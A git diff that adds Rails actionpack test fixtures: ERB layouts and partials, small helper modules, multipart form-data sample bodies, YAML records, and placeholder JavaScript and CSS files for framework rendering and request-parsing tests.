+++ b/actionpack/test/fixtures/good_customers/_good_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionpack/test/fixtures/happy_path/render_action/hello_world.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/happy_path/render_action/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/hello.html b/actionpack/test/fixtures/hello.html
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/hello.html
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000..7104ff3
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,5 @@
+module AbcHelper
+ def bare_a() end
+ def bare_b() end
+ def bare_c() end
+end
diff --git a/actionpack/test/fixtures/helpers/fun/games_helper.rb b/actionpack/test/fixtures/helpers/fun/games_helper.rb
new file mode 100644
index 0000000..3b7adce
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/fun/games_helper.rb
@@ -0,0 +1,5 @@
+module Fun
+ module GamesHelper
+ def stratego() "Iz guuut!" end
+ end
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/helpers/fun/pdf_helper.rb b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
new file mode 100644
index 0000000..0171be8
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
@@ -0,0 +1,5 @@
+module Fun
+ module PdfHelper
+ def foobar() 'baz' end
+ end
+end
diff --git a/actionpack/test/fixtures/helpers/helpery_test_helper.rb b/actionpack/test/fixtures/helpers/helpery_test_helper.rb
new file mode 100644
index 0000000..a4f2951
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/helpery_test_helper.rb
@@ -0,0 +1,5 @@
+module HelperyTestHelper
+ def helpery_test
+ "Default"
+ end
+end
diff --git a/actionpack/test/fixtures/helpers/just_me_helper.rb b/actionpack/test/fixtures/helpers/just_me_helper.rb
new file mode 100644
index 0000000..b140a7b
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/just_me_helper.rb
@@ -0,0 +1,3 @@
+module JustMeHelper
+ def me() "mine!" end
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/helpers/me_too_helper.rb b/actionpack/test/fixtures/helpers/me_too_helper.rb
new file mode 100644
index 0000000..ce56042
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/me_too_helper.rb
@@ -0,0 +1,3 @@
+module MeTooHelper
+ def me() "me too!" end
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
new file mode 100644
index 0000000..9faa427
--- /dev/null
+++ b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
@@ -0,0 +1,5 @@
+module Pack1Helper
+ def conflicting_helper
+ "pack1"
+ end
+end
diff --git a/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
new file mode 100644
index 0000000..cf56697
--- /dev/null
+++ b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
@@ -0,0 +1,5 @@
+module Pack2Helper
+ def conflicting_helper
+ "pack2"
+ end
+end
diff --git a/actionpack/test/fixtures/layout_tests/alt/hello.erb b/actionpack/test/fixtures/layout_tests/alt/hello.erb
new file mode 100644
index 0000000..1055c36
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/alt/hello.erb
@@ -0,0 +1 @@
+alt/hello.erb
diff --git a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb b/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb b/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb
new file mode 100644
index 0000000..121bc07
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb
@@ -0,0 +1 @@
+controller_name_space/nested.erb <%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/layouts/item.erb b/actionpack/test/fixtures/layout_tests/layouts/item.erb
new file mode 100644
index 0000000..60f04d7
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/item.erb
@@ -0,0 +1 @@
+item.erb <%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb b/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb
new file mode 100644
index 0000000..b74ac08
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb
@@ -0,0 +1 @@
+layout_test.erb <%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb b/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
new file mode 100644
index 0000000..3b65e54
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
@@ -0,0 +1 @@
+multiple_extensions.html.erb <%= yield %>
diff --git a/actionpack/test/fixtures/layout_tests/layouts/symlinked b/actionpack/test/fixtures/layout_tests/layouts/symlinked
new file mode 120000
index 0000000..0ddc115
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/symlinked
@@ -0,0 +1 @@
+../../symlink_parent
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab b/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
new file mode 100644
index 0000000..fcee620
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
@@ -0,0 +1 @@
+layouts/third_party_template_library.mab
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/views/goodbye.erb b/actionpack/test/fixtures/layout_tests/views/goodbye.erb
new file mode 100644
index 0000000..4ee9111
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/views/goodbye.erb
@@ -0,0 +1 @@
+hello.erb
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/views/hello.erb b/actionpack/test/fixtures/layout_tests/views/hello.erb
new file mode 100644
index 0000000..4ee9111
--- /dev/null
+++ b/actionpack/test/fixtures/layout_tests/views/hello.erb
@@ -0,0 +1 @@
+hello.erb
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_column.html.erb b/actionpack/test/fixtures/layouts/_column.html.erb
new file mode 100644
index 0000000..96db002
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_column.html.erb
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_customers.erb b/actionpack/test/fixtures/layouts/_customers.erb
new file mode 100644
index 0000000..ae63f13
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_partial_and_yield.erb b/actionpack/test/fixtures/layouts/_partial_and_yield.erb
new file mode 100644
index 0000000..74cc428
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_partial_and_yield.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/_yield_only.erb b/actionpack/test/fixtures/layouts/_yield_only.erb
new file mode 100644
index 0000000..37f0bdd
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_yield_only.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/_yield_with_params.erb b/actionpack/test/fixtures/layouts/_yield_with_params.erb
new file mode 100644
index 0000000..68e6557
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_yield_with_params.erb
@@ -0,0 +1 @@
+<%= yield 'Yield!' %>
diff --git a/actionpack/test/fixtures/layouts/block_with_layout.erb b/actionpack/test/fixtures/layouts/block_with_layout.erb
new file mode 100644
index 0000000..73ac833
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionpack/test/fixtures/layouts/builder.builder b/actionpack/test/fixtures/layouts/builder.builder
new file mode 100644
index 0000000..7c7d4b2
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+ xml << yield
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/partial_with_layout.erb b/actionpack/test/fixtures/layouts/partial_with_layout.erb
new file mode 100644
index 0000000..a0349d7
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/standard.html.erb b/actionpack/test/fixtures/layouts/standard.html.erb
new file mode 100644
index 0000000..5e6c24f
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/streaming.erb b/actionpack/test/fixtures/layouts/streaming.erb
new file mode 100644
index 0000000..d3f896a
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/streaming.erb
@@ -0,0 +1,4 @@
+<%= yield :header -%>
+<%= yield -%>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/talk_from_action.erb b/actionpack/test/fixtures/layouts/talk_from_action.erb
new file mode 100644
index 0000000..bf53fdb
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/with_html_partial.html.erb b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000..fd2896a
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionpack/test/fixtures/layouts/xhr.html.erb b/actionpack/test/fixtures/layouts/xhr.html.erb
new file mode 100644
index 0000000..8528532
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/yield.erb b/actionpack/test/fixtures/layouts/yield.erb
new file mode 100644
index 0000000..482dc90
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb
new file mode 100644
index 0000000..7298d79
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'welcome' %>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb
new file mode 100644
index 0000000..74cc428
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionpack/test/fixtures/localized/hello_world.de.html b/actionpack/test/fixtures/localized/hello_world.de.html
new file mode 100644
index 0000000..4727d7a
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.de.html
@@ -0,0 +1 @@
+Gutten Tag
\ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.en.html b/actionpack/test/fixtures/localized/hello_world.en.html
new file mode 100644
index 0000000..5e1c309
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.en.html
@@ -0,0 +1 @@
+Hello World
\ No newline at end of file
diff --git a/actionpack/test/fixtures/mascot.rb b/actionpack/test/fixtures/mascot.rb
new file mode 100644
index 0000000..f9f1448
--- /dev/null
+++ b/actionpack/test/fixtures/mascot.rb
@@ -0,0 +1,3 @@
+class Mascot < ActiveRecord::Base
+ belongs_to :company
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/mascots.yml b/actionpack/test/fixtures/mascots.yml
new file mode 100644
index 0000000..17b7dff
--- /dev/null
+++ b/actionpack/test/fixtures/mascots.yml
@@ -0,0 +1,4 @@
+upload_bird:
+ id: 1
+ company_id: 1
+ name: The Upload Bird
\ No newline at end of file
diff --git a/actionpack/test/fixtures/mascots/_mascot.html.erb b/actionpack/test/fixtures/mascots/_mascot.html.erb
new file mode 100644
index 0000000..432773a
--- /dev/null
+++ b/actionpack/test/fixtures/mascots/_mascot.html.erb
@@ -0,0 +1 @@
+<%= mascot.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/binary_file b/actionpack/test/fixtures/multipart/binary_file
new file mode 100644
index 0000000..556187a
Binary files /dev/null and b/actionpack/test/fixtures/multipart/binary_file differ
diff --git a/actionpack/test/fixtures/multipart/boundary_problem_file b/actionpack/test/fixtures/multipart/boundary_problem_file
new file mode 100644
index 0000000..889c4aa
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/boundary_problem_file
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="file.txt"
+Content-Type: text/plain
+
+bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb [...]
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/bracketed_param b/actionpack/test/fixtures/multipart/bracketed_param
new file mode 100644
index 0000000..096bd8a
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/bracketed_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="foo[baz]"
+
+bar
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/bracketed_utf8_param b/actionpack/test/fixtures/multipart/bracketed_utf8_param
new file mode 100644
index 0000000..976ca44
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/bracketed_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name[Iñtërnâtiônàlizætiøn_nested_name]"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/empty b/actionpack/test/fixtures/multipart/empty
new file mode 100644
index 0000000..f0f7983
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/empty
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
+
+
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/hello.txt b/actionpack/test/fixtures/multipart/hello.txt
new file mode 100644
index 0000000..5ab2f8a
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/hello.txt
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/large_text_file b/actionpack/test/fixtures/multipart/large_text_file
new file mode 100644
index 0000000..7f97fb1
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/large_text_file
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="file.txt"
+Content-Type: text/plain
+
+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [...]
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/mixed_files b/actionpack/test/fixtures/multipart/mixed_files
new file mode 100644
index 0000000..5eba7a6
Binary files /dev/null and b/actionpack/test/fixtures/multipart/mixed_files differ
diff --git a/actionpack/test/fixtures/multipart/mona_lisa.jpg b/actionpack/test/fixtures/multipart/mona_lisa.jpg
new file mode 100644
index 0000000..5cf3bef
Binary files /dev/null and b/actionpack/test/fixtures/multipart/mona_lisa.jpg differ
diff --git a/actionpack/test/fixtures/multipart/none b/actionpack/test/fixtures/multipart/none
new file mode 100644
index 0000000..d66f473
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/none
@@ -0,0 +1,9 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename=""
+
+
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/single_parameter b/actionpack/test/fixtures/multipart/single_parameter
new file mode 100644
index 0000000..8962c35
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/single_parameter
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/single_utf8_param b/actionpack/test/fixtures/multipart/single_utf8_param
new file mode 100644
index 0000000..b86f62d
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/single_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/text_file b/actionpack/test/fixtures/multipart/text_file
new file mode 100644
index 0000000..e0367d6
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/text_file
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="file.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
diff --git a/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb b/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb
new file mode 100644
index 0000000..25dc746
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb
@@ -0,0 +1 @@
+<hello>world</hello>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
new file mode 100644
index 0000000..598d62e
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file
diff --git a/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb b/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb
new file mode 100644
index 0000000..c7926d4
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb
@@ -0,0 +1 @@
+<%= 'hello world!' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/override/test/hello_world.erb b/actionpack/test/fixtures/override/test/hello_world.erb
new file mode 100644
index 0000000..3e308d3
--- /dev/null
+++ b/actionpack/test/fixtures/override/test/hello_world.erb
@@ -0,0 +1 @@
+Hello overridden world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/override2/layouts/test/sub.erb b/actionpack/test/fixtures/override2/layouts/test/sub.erb
new file mode 100644
index 0000000..3863d5a
--- /dev/null
+++ b/actionpack/test/fixtures/override2/layouts/test/sub.erb
@@ -0,0 +1 @@
+layout: <%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/plain_text.raw b/actionpack/test/fixtures/plain_text.raw
new file mode 100644
index 0000000..b139853
--- /dev/null
+++ b/actionpack/test/fixtures/plain_text.raw
@@ -0,0 +1 @@
+<%= hello_world %>
diff --git a/actionpack/test/fixtures/plain_text_with_characters.raw b/actionpack/test/fixtures/plain_text_with_characters.raw
new file mode 100644
index 0000000..1e86e44
--- /dev/null
+++ b/actionpack/test/fixtures/plain_text_with_characters.raw
@@ -0,0 +1 @@
+Here are some characters: !@#$%^&*()-="'}{`
diff --git a/actionpack/test/fixtures/post_test/layouts/post.html.erb b/actionpack/test/fixtures/post_test/layouts/post.html.erb
new file mode 100644
index 0000000..c6c1a58
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/layouts/post.html.erb
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb b/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
new file mode 100644
index 0000000..db0e436
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
@@ -0,0 +1 @@
+<html><div id="super_iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/post/index.html.erb b/actionpack/test/fixtures/post_test/post/index.html.erb
new file mode 100644
index 0000000..b349b25
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/post/index.html.erb
@@ -0,0 +1 @@
+Hello Firefox
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/post/index.iphone.erb b/actionpack/test/fixtures/post_test/post/index.iphone.erb
new file mode 100644
index 0000000..d741e44
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/post/index.iphone.erb
@@ -0,0 +1 @@
+Hello iPhone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/super_post/index.html.erb b/actionpack/test/fixtures/post_test/super_post/index.html.erb
new file mode 100644
index 0000000..7fc2eb1
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/super_post/index.html.erb
@@ -0,0 +1 @@
+Super Firefox
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/super_post/index.iphone.erb b/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
new file mode 100644
index 0000000..99063a8
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
@@ -0,0 +1 @@
+Super iPhone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/project.rb b/actionpack/test/fixtures/project.rb
new file mode 100644
index 0000000..c124a9e
--- /dev/null
+++ b/actionpack/test/fixtures/project.rb
@@ -0,0 +1,3 @@
+class Project < ActiveRecord::Base
+ has_and_belongs_to_many :developers, -> { uniq }
+end
diff --git a/actionpack/test/fixtures/projects.yml b/actionpack/test/fixtures/projects.yml
new file mode 100644
index 0000000..02800c7
--- /dev/null
+++ b/actionpack/test/fixtures/projects.yml
@@ -0,0 +1,7 @@
+action_controller:
+ id: 2
+ name: Active Controller
+
+active_record:
+ id: 1
+ name: Active Record
diff --git a/actionpack/test/fixtures/projects/_project.erb b/actionpack/test/fixtures/projects/_project.erb
new file mode 100644
index 0000000..480c4c2
--- /dev/null
+++ b/actionpack/test/fixtures/projects/_project.erb
@@ -0,0 +1 @@
+<%= project.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/.gitignore b/actionpack/test/fixtures/public/.gitignore
new file mode 100644
index 0000000..312e635
--- /dev/null
+++ b/actionpack/test/fixtures/public/.gitignore
@@ -0,0 +1 @@
+absolute/*
diff --git a/actionpack/test/fixtures/public/404.html b/actionpack/test/fixtures/public/404.html
new file mode 100644
index 0000000..497397c
--- /dev/null
+++ b/actionpack/test/fixtures/public/404.html
@@ -0,0 +1 @@
+404 error fixture
diff --git a/actionpack/test/fixtures/public/500.da.html b/actionpack/test/fixtures/public/500.da.html
new file mode 100644
index 0000000..a497c13
--- /dev/null
+++ b/actionpack/test/fixtures/public/500.da.html
@@ -0,0 +1 @@
+500 localized error fixture
diff --git a/actionpack/test/fixtures/public/500.html b/actionpack/test/fixtures/public/500.html
new file mode 100644
index 0000000..7c66c7a
--- /dev/null
+++ b/actionpack/test/fixtures/public/500.html
@@ -0,0 +1 @@
+500 error fixture
diff --git a/actionpack/test/fixtures/public/elsewhere/cools.js b/actionpack/test/fixtures/public/elsewhere/cools.js
new file mode 100644
index 0000000..6e12fe2
--- /dev/null
+++ b/actionpack/test/fixtures/public/elsewhere/cools.js
@@ -0,0 +1 @@
+// cools.js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/elsewhere/file.css b/actionpack/test/fixtures/public/elsewhere/file.css
new file mode 100644
index 0000000..6aea073
--- /dev/null
+++ b/actionpack/test/fixtures/public/elsewhere/file.css
@@ -0,0 +1 @@
+/*file.css*/
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/bar.html b/actionpack/test/fixtures/public/foo/bar.html
new file mode 100644
index 0000000..9a35646
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/baz.css b/actionpack/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000..b5173fb
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/public/foo/index.html b/actionpack/test/fixtures/public/foo/index.html
new file mode 100644
index 0000000..497a2e8
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html
\ No newline at end of file
diff --git "a/actionpack/test/fixtures/public/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html" "b/actionpack/test/fixtures/public/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html"
new file mode 100644
index 0000000..1df9166
--- /dev/null
+++ "b/actionpack/test/fixtures/public/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html"
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/public/index.html b/actionpack/test/fixtures/public/index.html
new file mode 100644
index 0000000..525950b
--- /dev/null
+++ b/actionpack/test/fixtures/public/index.html
@@ -0,0 +1 @@
+/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/application.js b/actionpack/test/fixtures/public/javascripts/application.js
new file mode 100644
index 0000000..9702692
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/application.js
@@ -0,0 +1 @@
+// application js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/bank.js b/actionpack/test/fixtures/public/javascripts/bank.js
new file mode 100644
index 0000000..4a1bee7
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/bank.js
@@ -0,0 +1 @@
+// bank js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/common.javascript b/actionpack/test/fixtures/public/javascripts/common.javascript
new file mode 100644
index 0000000..2ae1929
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/common.javascript
@@ -0,0 +1 @@
+// common.javascript
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/controls.js b/actionpack/test/fixtures/public/javascripts/controls.js
new file mode 100644
index 0000000..88168d9
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/controls.js
@@ -0,0 +1 @@
+// controls js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/dragdrop.js b/actionpack/test/fixtures/public/javascripts/dragdrop.js
new file mode 100644
index 0000000..c07061a
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/dragdrop.js
@@ -0,0 +1 @@
+// dragdrop js
\ No newline at end of file
